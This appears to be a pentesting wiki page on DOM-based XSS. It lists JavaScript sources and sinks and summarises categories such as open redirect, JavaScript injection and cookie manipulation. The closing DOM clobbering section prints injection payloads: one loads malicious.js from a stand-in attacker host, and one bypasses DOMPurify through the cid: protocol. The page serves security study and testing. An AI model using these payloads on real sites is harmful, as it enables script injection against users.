Pentesting

DOM XSS

DOM vulnerabilities

Sources

A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the location.search property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by the document.referrer string), the user's cookies (exposed by the document.cookie string), and web messages.

Sinks

A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the eval() function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is document.body.innerHTML because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.

Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session.

You can find a more updated list of sources and sinks in https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open Redirect

Javascript Injection

DOM-data manipulation

jQuery

location

eval()

scriptElement.src

add()

location.host

Function() constructor

scriptElement.text

after()

location.hostname

setTimeout()

scriptElement.textContent

append()

location.href

setInterval()

scriptElement.innerText

animate()

location.pathname

setImmediate()

someDOMElement.setAttribute()

insertAfter()

location.search

execCommand()

someDOMElement.search

insertBefore()

location.protocol

execScript()

someDOMElement.text

before()

location.assign()

msSetImmediate()

someDOMElement.textContent

html()

location.replace()

range.createContextualFragment()

someDOMElement.innerText

prepend()

open()

crypto.generateCRMFRequest()

someDOMElement.outerText

replaceAll()

domElem.srcdoc

Local file-path manipulation

someDOMElement.value

replaceWith()

XMLHttpRequest.open()

FileReader.readAsArrayBuffer()

someDOMElement.name

wrap()

XMLHttpRequest.send()

FileReader.readAsBinaryString()

someDOMElement.target

wrapInner()

jQuery.ajax()

FileReader.readAsDataURL()

someDOMElement.method

wrapAll()

$.ajax()

FileReader.readAsText()

someDOMElement.type

has()

Ajax request manipulation

FileReader.readAsFile()

someDOMElement.backgroundImage

constructor()

XMLHttpRequest.setRequestHeader()

FileReader.root.getFile()

someDOMElement.cssText

init()

XMLHttpRequest.open()

FileReader.root.getFile()

someDOMElement.codebase

index()

XMLHttpRequest.send()

Link manipulation

someDOMElement.innerHTML

jQuery.parseHTML()

jQuery.globalEval()

someDOMElement.href

someDOMElement.outerHTML

$.parseHTML()

$.globalEval()

someDOMElement.src

someDOMElement.insertAdjacentHTML

Client-side JSON injection

HTML5-storage manipulation

someDOMElement.action

someDOMElement.onevent

JSON.parse()

sessionStorage.setItem()

XPath injection

document.write()

jQuery.parseJSON()

localStorage.setItem()

document.evaluate()

document.writeln()

$.parseJSON()

Denial of Service

someDOMElement.evaluate()

document.title

Cookie manipulation

requestFileSystem()

Document-domain manipulation

document.implementation.createHTMLDocument()

document.cookie

RegExp()

document.domain

history.pushState()

WebSocket-URL poisoning

Client-Side SQl injection

Web-message manipulation

history.replaceState()

WebSocket

executeSql()

postMessage()

The innerHTML sink doesn't accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it's using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

Examples

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

How

DOM-based open-redirection vulnerabilities arise when a script writes attacker-controllable data into a sink that can trigger cross-domain navigation.

Remember that if you can start the URL were the victim is going to be redirected, you could execute arbitrary code like: javascript:alert(1)

Sinks

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

How

DOM-based cookie-manipulation vulnerabilities arise when a script writes attacker-controllable data into the value of a cookie. This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a session fixation attack (if the cookie is used to track the user's session).

Sinks

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

How

DOM-based JavaScript-injection vulnerabilities arise when a script executes attacker-controllable data as JavaScript.

Sinks

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

How

Document-domain manipulation vulnerabilities arise when a script uses attacker-controllable data to set the document.domain property.

The document.domain property is used by browsers in their enforcement of the same origin policy. If two pages from different origins explicitly set the same document.domain value, then those two pages can interact in unrestricted ways. Browsers generally enforce some restrictions on the values that can be assigned to document.domain, and may prevent the use of completely different values than the actual origin of the page. But this doesn't occur always and they usually allow to use child or parent domains.

Sinks

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

How

WebSocket-URL poisoning occurs when a script uses controllable data as the target URL of a WebSocket connection.

Sinks

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

From: https://portswigger.net/web-security/dom-based/link-manipulation

How

DOM-based link-manipulation vulnerabilities arise when a script writes attacker-controllable data to a navigation target within the current page, such as a clickable link or the submission URL of a form.

Sinks

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

How

Ajax request manipulation vulnerabilities arise when a script writes attacker-controllable data into the an Ajax request that is issued using an XmlHttpRequest object.

Sinks

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

How

Local file-path manipulation vulnerabilities arise when a script passes attacker-controllable data to a file-handling API as the filename parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the user's browser to open/write an arbitrary local file.

Sinks

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

How

Client-side SQL-injection vulnerabilities arise when a script incorporates attacker-controllable data into a client-side SQL query in an unsafe way.

Sinks

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

How

HTML5-storage manipulation vulnerabilities arise when a script stores attacker-controllable data in the HTML5 storage of the web browser (either localStorage or sessionStorage). This behavior does not in itself constitute a security vulnerability. However, if the application later reads data back from storage and processes it in an unsafe way, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.

Sinks

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

How

DOM-based XPath-injection vulnerabilities arise when a script incorporates attacker-controllable data into an XPath query.

Sinks

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

How

DOM-based JSON-injection vulnerabilities arise when a script incorporates attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.

Sinks

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

How

Web-message vulnerabilities arise when a script sends attacker-controllable data as a web message to another document within the browser. Example of vulnerable Web-message manipulation in https://portswigger.net/web-security/dom-based/controlling-the-web-message-source

Sinks

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

How

DOM-data manipulation vulnerabilities arise when a script writes attacker-controllable data to a field within the DOM that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.

Sinks

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

How

DOM-based denial-of-service vulnerabilities arise when a script passes attacker-controllable data in an unsafe way to a problematic platform API, such as an API whose invocation can cause the user's computer to consume excessive amounts of CPU or disk space. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in localStorage or killing busy scripts.

Sinks

requestFileSystem()
RegExp()

DOM Clobbering

A common pattern used by JavaScript developers is:

var someObject = window.someObject || {};

If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

Injecting that data window.someObject.url is going to be href=//malicious-website.com/malicious.js

Trick: DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> will make the HTML encoded &quot; to be decoded on runtime and escape from the attribute value to create the onerror event.

Another common technique consists on using form element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an inputinside the form with id=attributes , you will clobber the attributes property and the sanitizer won't be able to go through the real attributes.